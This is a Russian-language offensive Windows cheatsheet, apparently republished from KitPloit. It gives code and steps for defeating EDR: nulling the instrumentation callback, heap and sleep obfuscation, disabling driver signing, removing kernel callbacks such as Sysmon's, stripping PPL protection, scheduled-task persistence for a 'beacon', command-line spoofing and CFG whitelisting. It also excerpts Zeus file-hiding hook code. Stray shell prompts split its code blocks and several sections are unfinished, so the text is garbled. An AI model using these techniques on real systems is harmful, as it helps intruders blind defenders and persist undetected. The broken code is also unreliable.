Process Instrumentation Callback определяется как флаг `ProcessInstrumentationCallback` (`0x40`) и используется продуктами безопасности для [обнаружения потенциальных прямых системных вызовов](https://winternl.com/detecting-manual-syscalls-from-user-mode/) путём регистрации обратного вызова, который проверяет, исходит ли инструкция `syscall` из исполняемого образа, а не из NTDLL. Чтобы обойти это для нашего процесса, нам достаточно установить `Callback` в `NULL`.```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;

InstrumentationCallbackInfo.Version  = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;

NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );

это всё ещё «не документировано» Microsoft, но Alex Ionescu задокументировал это здесь, а Everdox также сделал это здесь

Полный код для обхода инструментирования здесь: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c

Шифрование кучи

Обойдите кучу с помощью HeapWalk и затем зашифруйте выделенные блоки :```c VOID HeapEncryptDecrypt() { PROCESS_HEAP_ENTRY HeapWalkEntry; SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) ); while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) { if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) { XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData ); } } }

root@kitploit:~
> more informations here: https://www.arashparsa.com/hook-heaps-and-live-free/

## Обфускация сна

Множество PoC по обфускации сна появилось с разными механизмами (UM APCs, TP и другие); в качестве примера мы возьмём [Ekko](https://github.com/Cracked5pider/Ekko/), который является самым простым PoC для понимания.

Цепочка ROP в Ekko очень проста: она меняет защиту памяти на `RW`, шифрует область с помощью `SystemFunction032`, которая реализует RC4, вызывает Sleep через `WaitForSingleObject`, расшифровывает область и снова переключает защиту на `RWX`. Наконец, она ставит в очередь все `CONTEXT` с помощью `CreateTimerQueueTimer`.

> Некоторые сканеры, такие как [TickTock](https://github.com/WithSecureLabs/TickTock) или [Patriot](https://github.com/joe-desimone/patriot), были выпущены для обнаружения этого, но вы можете обойти их с помощью трамплина к `NtContinue` в NTDLL с гаджетом и заменой регистра `Rip` в ROP-цепочке.
 
<br>
 
# Основы программирования драйверов

## Общие понятия

Драйверы используются для выполнения кода в режиме ядра, а не в пользовательском режиме. Это мощный метод обхода всех хуков и мониторинга пользовательского режима, которые были установлены AV/EDR. Его также можно использовать для обхода колбэков ядра и других средств мониторинга ядра.

Код любого драйвера должен быть проверен (любое предупреждение должно рассматриваться как ошибка), чтобы гарантировать его безотказную работу (вы ведь не хотите вызвать BSOD во время пентеста, верно?).

Несколько лет назад Microsoft решила запретить неподписанные драйверы в своей операционной системе: вы должны отключить это перед загрузкой собственного драйвера или использовать любую уязвимость (например, https://github.com/hmnthabit/CVE-2018-19320-LPE), чтобы отключить проверку подписи драйверов.

В реальном пентесте вы должны найти уязвимый драйвер и получить выгоду:)

## Таблица диспетчеризации системных служб (SSDT)

SSDT, или таблица диспетчеризации системных служб, — это таблица (очевидно), которая по своему текущему индексу может определить соответствующую Nt-функцию. Когда выполняется любой вызов из пользовательского режима, он разрешается следующим образом: 
- ```OpenProcess``` (вызывается функция Win32 API)
- ```NtOpenProcess``` (разрешается в ntdll.dll)```asm
mov r10, rcx
mov eax, 26 
syscall
ret

ntdll содержит процедуры системных вызовов для каждой Nt-функции

  • 26 — это служебный системный номер : это индекс в SSDT, который разрешает адрес функции ядра NtOpenProcess.
  • Вызывается NtOpenProcess в режиме ядра, и он взаимодействует с I/O как часть драйвера.

SSDT определена в Service Descriptor Table :```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;

root@kitploit:~
SSDT часто перехватывался руткитами, поскольку можно было изменять соответствующий адрес на их собственные функции. **Patchguard** отключил эту возможность, за исключением случаев внутренней уязвимости. 

> Многие антивирусные продукты сегодня также используют этот трюк, вероятно, применяя те же методы, что и злые хакеры;)

## Точка входа драйвера

Процедура точки входа драйвера определяется следующим образом:```cpp
#include <ntddk.h>

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
	return STATUS_SUCCESS;
}

Очень важно использовать макрос UNREFERENCED_PARAMETER() для параметров DriverObject и RegistryPath, если только вы не добавите позже код, который их использует.```cpp UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath);

root@kitploit:~
## Ввод-вывод

Используйте MajorFunction `IRP_MJ_CREATE` и `IRP_MJ_CLOSE` для действия в качестве «прерывания» для взаимодействия с вашим драйвером со стороны клиента.```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;

Затем определите вашу функцию CreateClose :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);

root@kitploit:~
DbgPrint("[+] Hello from FirstDriver CreateClose\n");

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;

}

root@kitploit:~
Полный пример кода здесь : //

## Взаимодействие с драйвером

Пользовательские приложения отправляют IOCTL-запросы драйверам, вызывая DeviceIoControl, что описано в документации Microsoft Windows SDK. Вызовы DeviceIoControl заставляют диспетчер ввода-вывода создавать запрос IRP_MJ_DEVICE_CONTROL и отправлять его самому верхнему драйверу (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)

Приложение в пользовательском режиме должно использовать функцию DeviceIoControl (ioapiset.h) для взаимодействия с драйвером.
Она будет использоваться для отправки различных запросов к объекту **Device**.

Простой пример кода здесь : //todo

## Подпись драйвера

Как описано в разделе [Общие концепции](#general-concepts), драйверы должны быть подписаны перед установкой в системе Windows. Несмотря на то, что для обхода этого приходится использовать какой-либо эксплойт драйвера или ядра (например, CVE драйвера Gigabyte), вы всё равно можете отключить это вручную:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON

Затем перезагрузите компьютер. Очевидно, вам нужны права локального администратора на машине, на которой вы хотите выполнить эти команды. Поскольку требуется перезагрузка, это совсем не OPSEC.

Пользовательские callbacks

ObRegisterCallbacks (wdm.h) позволяет вам определять «пользовательские» callbacks, которые можно использовать для изменения поведения пользовательского приложения, когда они срабатывают при определённой операции, например CreateProcess/OpenProcess (создание дескриптора).

По сути, Ob Callbacks определяются с помощью массива OB_OPERATION_REGISTRATION, который заполняется структурой OB_CALLBACK_REGISTRATION (заполненной callbacks).

Пример срабатывания на OpenProcess/CreateProcess :```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };

obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed

NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, &reg_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {

root@kitploit:~
	DbgPrint("[+] Registering callbacks !\n");
}
root@kitploit:~
**process_ob_pre_op_callbacks** — это пользовательская функция, которая будет вызвана при перехвате обратного вызова, и поэтому может запретить или разрешить операцию.```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {

	if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
	pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}

Примечание : My_PROCESS_ALL_ACCESS может быть определён как #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (шестнадцатеричный код win32).

Как пропатчить ObCallbacks : существует несколько способов их пропатчить, но, вероятно, два наиболее распространённых способа достижения этой цели — написать функцию obcallback с некоторой схемой, например : "nop-nop-nop-ret", или удалить указатель на функцию obcallback из элементов _CALLBACK_ENTRY_ITEM. Обратите внимание, что эти техники могут на самом деле вызвать PatchGuard, поэтому будьте осторожны при использовании этих техник в реальном задании.

Атакующее программирование драйверов

Патчинг колбэков ядра

Колбэки ядра были введены Microsoft в основном для того, чтобы предложить редакторам AV/EDR лучший способ отслеживать и предотвращать подозрительные действия (До них многие продукты безопасности использовали патчинг в режиме ядра, такой как перехват SSDT, для выполнения той же работы, но новая защита PatchGuard вынудила их использовать это новое решение).

Существует несколько типов колбэков ядра, в частности :

root@kitploit:~
- ProcessNotify : вызывается при создании или завершении процесса.
- ThreadNotify : вызывается при создании или завершении потока (его удалении).
- LoadImageNotify : вызывается при загрузке некоторого исполняемого образа другим исполняемым файлом (например : DLL, загруженная процессом).

Каждый из них имеет свою ассоциированную функцию, например PsSetCreateProcessNotifyRoutineEx для их установки в вашем драйвере. Последняя регистрирует процедуру колбэка при создании или удалении нового процесса в системе Windows. Её прототип определён ниже :```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );

root@kitploit:~
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** — это указатель на функцию обратного вызова, которая будет вызвана при срабатывании события (в данном случае — создание/завершение процесса).
**Remove** — это простой флаг, указывающий, будет ли PsSetCreateProcessNotify регистрировать функцию обратного вызова или удалять её (полезно в функции очистки вашего драйвера).

Функция обратного вызова будет использовать этот прототип:```cpp
void OnProcessNotify(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
);

где Process — это текущий процесс, который создаётся/удаляется, ProcessId — это идентификатор этого процесса, а CreateInfo — структура, содержащая различную информацию об этом процессе.

Когда драйвер регистрирует новую процедуру обратного вызова, её адрес сохраняется в массиве, обычно называемом Pspname_of_your_callback. Например, список всех функций ProcessNotifyRoutine хранится в массиве PspCreateProcessNotifyRoutine.

Чтобы удалить такие функции обратного вызова, вам просто нужно очистить этот массив!

К сожалению, адрес этого столь интересного массива нельзя получить напрямую. К счастью, существует множество способов сделать это вручную, например, поиском определённых смещений в памяти.

Как только вы найдёте правильный адрес, вы сможете перечислить все зарегистрированные функции обратного вызова и отфильтровать их по имени драйвера (возможно, драйвер Sysmon ?:)), и удалить только соответствующие функции обратного вызова из списка.

Патчинг защищённого процесса

Защищённые процессы были введены в Windows Vista. Их можно определить как структуру с именем EPROCESS (не определено: https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess), которая определяет, защищён ли процесс или нет, с помощью трёх интересных полей:``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION

root@kitploit:~
Третий член (Protection) — это структура PS_PROTECTION, которая определена следующим образом :```
_PS_PROTECTION
  +0x000 Level            : UChar
  +0x000 Type             : Pos 0, 3 Bits
  +0x000 Audit            : Pos 3, 1 Bit
  +0x000 Signer           : Pos 4, 4 Bits

Чтобы снять защиту PPL, необходимо установить SignatureLevel, SectionSignatureLevel и Protection в 0.

Поскольку смещение между базовым адресом EPROCESS и PS_PROTECTION составляет 0x6c8, вы можете получить его, сложив эти два значения.

Пример кода : //todo

Использование Win32 API для повышения OPSEC

Персистентность

Запланированные задачи

Примечание : Несколько примеров из этой части были взяты с : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations

«Обычный» способ планирования любой задачи в Windows OS требует использования графического интерфейса (Планировщик заданий). Это не очень практично для нас, поскольку зачастую мы получаем только сеанс командной строки на скомпрометированной системе.

К счастью, Win32 API можно использовать для создания таких задач, что позволит вам обеспечить хорошую персистентность для вашего beacon или повышения привилегий.

В целом, вам нужно инициализировать COM-библиотеку, затем создать новый экземпляр класса ITaskService с помощью API CoCreateInstance(). Теперь вы можете изменять ваш объект ITaskService, чтобы настроить корневую папку, действие, время и так далее. Ниже приведён пример :```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/

#define _WIN32_DCOM

#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")

using namespace std;

int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }

root@kitploit:~
//  Set general COM security levels.
hr = CoInitializeSecurity(
    NULL,
    -1,
    NULL,
    NULL,
    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    RPC_C_IMP_LEVEL_IMPERSONATE,
    NULL,
    0,
    NULL);

if( FAILED(hr) )
{
    printf("\nCoInitializeSecurity failed: %x", hr );
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";

//  Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";


//  ------------------------------------------------------
//  Create an instance of the Task Service. 
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
                       NULL,
                       CLSCTX_INPROC_SERVER,
                       IID_ITaskService,
                       (void**)&pService );  
if (FAILED(hr))
{
      printf("Failed to create an instance of ITaskService: %x", hr);
      CoUninitialize();
      return 1;
}
    
//  Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
    _variant_t(), _variant_t());
if( FAILED(hr) )
{
    printf("ITaskService::Connect failed: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Get the pointer to the root task folder.  
//  This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
    printf("Cannot get Root Folder pointer: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );

//  Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );

pService->Release();  // COM clean up.  Pointer is no longer used.
if (FAILED(hr))
{
      printf("Failed to create a task definition: %x", hr);
      pRootFolder->Release();
      CoUninitialize();
      return 1;
}

    
//  ------------------------------------------------------
//  Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
    printf("\nCannot get identification pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
    printf("\nCannot put identification info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
    printf("\nCannot get settings pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set setting values for the task. 
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
    printf("\nCannot put setting info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
   

//  ------------------------------------------------------
//  Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
    printf("\nCannot get trigger collection: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger ); 
pTriggerCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface( 
    IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
   printf("\nCannot put the trigger ID: %x", hr);

//  Set the task to start at a certain time. The time 
//  format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
//  For example, the start boundary below
//  is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
   printf("\nCannot put the start boundary: %x", hr);

hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
   printf("\nCannot put the end boundary: %x", hr);

// Delay the task to start 30 seconds after system start. 
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
    printf("\nCannot put delay for boot trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
} 
   

//  ------------------------------------------------------
//  Add an Action to the task. This task will execute Notepad.exe.     
IActionCollection *pActionCollection = NULL;

//  Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
    printf("\nCannot get Task collection pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
    
//  Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the action: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IExecAction *pExecAction = NULL;
//  QI for the executable task pointer.
hr = pAction->QueryInterface( 
    IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IExecAction: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) ); 
pExecAction->Release(); 
if( FAILED(hr) )
{
    printf("\nCannot set path of executable: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
  

//  ------------------------------------------------------
//  Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
        _bstr_t( wszTaskName ),
        pTask,
        TASK_CREATE_OR_UPDATE, 
        _variant_t(L"Local Service"), 
        varPassword, 
        TASK_LOGON_SERVICE_ACCOUNT,
        _variant_t(L""),
        &pRegisteredTask);
if( FAILED(hr) )
{
    printf("\nError saving the Task : %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

printf("\n Success! Task successfully registered. " );

//  Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;

}

root@kitploit:~
## Command line spoofing

Отлично работает даже при мониторинге через sysmon/process hacker; позволяет скрывать аргументы командной строки, что может быть полезно в операциях pentest/red team (```powershell -enc .....```).

Для достижения этой цели можно запустить новый процесс с «легитимными» аргументами командной строки в приостановленном режиме, а затем изменить эти аргументы напрямую в PEB.

Poc : https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
 
# Разное

## Соглашение о вызовах x64

- Первые 4 целочисленных аргумента передаются в регистрах `RCX`, `RDX`, `R8` и `R9`.
- Дополнительные аргументы помещаются в стек.
- За адресом возврата следует 32-байтовая область, зарезервированная для `RCX`, `RDX`, `R8` и `R9`.
- Локальные переменные и энергонезависимые регистры хранятся выше адреса возврата.
- `RBP` не используется для ссылки на локальные переменные/аргументы функций, а `RSP` остаётся постоянным на протяжении всей функции.

> Примечания:
> - Если функция имеет переменное число аргументов, она должна передавать их через стек
> - Если возвращаемое значение является структурой, то вызывающий код отвечает за выделение места для возвращаемого значения и передачу указателя на это место в качестве первого аргумента
> - Вызываемая функция обязана сохранять значения регистров `RBX`, `RBP` и `R12`–`R15`, но может свободно изменять остальные регистры
> - Стек выровнен по 16-байтовой границе в точке вызова
> - Вызываемая функция обязана восстановить указатель стека (`RSP`) до исходного значения перед возвратом

## Непрямое исполнение

Под непрямым исполнением здесь понимается ROP для достижения выполнения некоторых задач; вам нужно будет помещать параметры в нужные регистры, и для этого необходимо понимать [соглашение о вызовах x64](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention).

- Для ROP со структурой `CONTEXT` потребуются `RtlCaptureContext` для получения текущего контекста и `NtContinue` для продолжения выполнения ROP, где структура `CONTEXT` в качестве параметра заполнена правильными аргументами функций в правильных регистрах. При желании вы также можете собрать свой ROP на ассемблере.

### Обход CFG с помощью SetProcessValidCallTargets

Это не настоящий обход, но он добавит в белый список функцию, которую вы используете в своём ROP (т.е. `NtContinue`).```c
CFG_CALL_TARGET_INFO Cfg = { 0 };

Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
Cfg.Flags  = CFG_CALL_TARGET_VALID;

SetProcessValidCallTargets( ( HANDLE )-1,  Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );

Вредоносное ПО / Сложные техники

Эмуляция PPID в Emotet

Эта техника была обнаружена в известном вредоносном ПО Emotet. Чтобы запустить новый процесс powershell (предназначенный для выполнения некой полезной нагрузки), оно использует COM API с экземпляром WMI. Благодаря этому трюку процесс powershell запускается как дочерний процесс процесса WMIPrvSE, что гораздо менее подозрительно, чем запуск подозрительным exe-файлом или даже файлом Word.

Скрытые файлы в Zeus

Хорошо известное вредоносное ПО Zeus использует довольно хитрый трюк для сокрытия своих журналов (нажатий клавиш, паролей и т.д.) на скомпрометированной системе. Оно перехватывает функцию NtQueryDirectoryFile() для фильтрации отображаемых результатов.```cpp typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

if (file_matches) {

// Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;

root@kitploit:~
Источник : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf


## Техника хука кейлоггера SpyEye

Вредонос SpyEye перехватывает функцию ```TranslateMessage()``` для сохранения нажатий клавиш : процедура хука использует функцию ```GetKeyboardState```, чтобы добавить введённый символ в буфер размером 20000 байт.

Источник : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf

## Wannacry KillSwitch

Вредонос-вымогатель Wannacry использовал URL-адрес killswitch, который разрешался перед выполнением основной полезной нагрузки. После того как этот домен был зарегистрирован, все образцы Wannacry были отключены. Эта техника была описана здесь : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
Забавный факт: этот домен был в открытой строке, без какой-либо обфускации. Довольно забавно:)
Скачать инструмент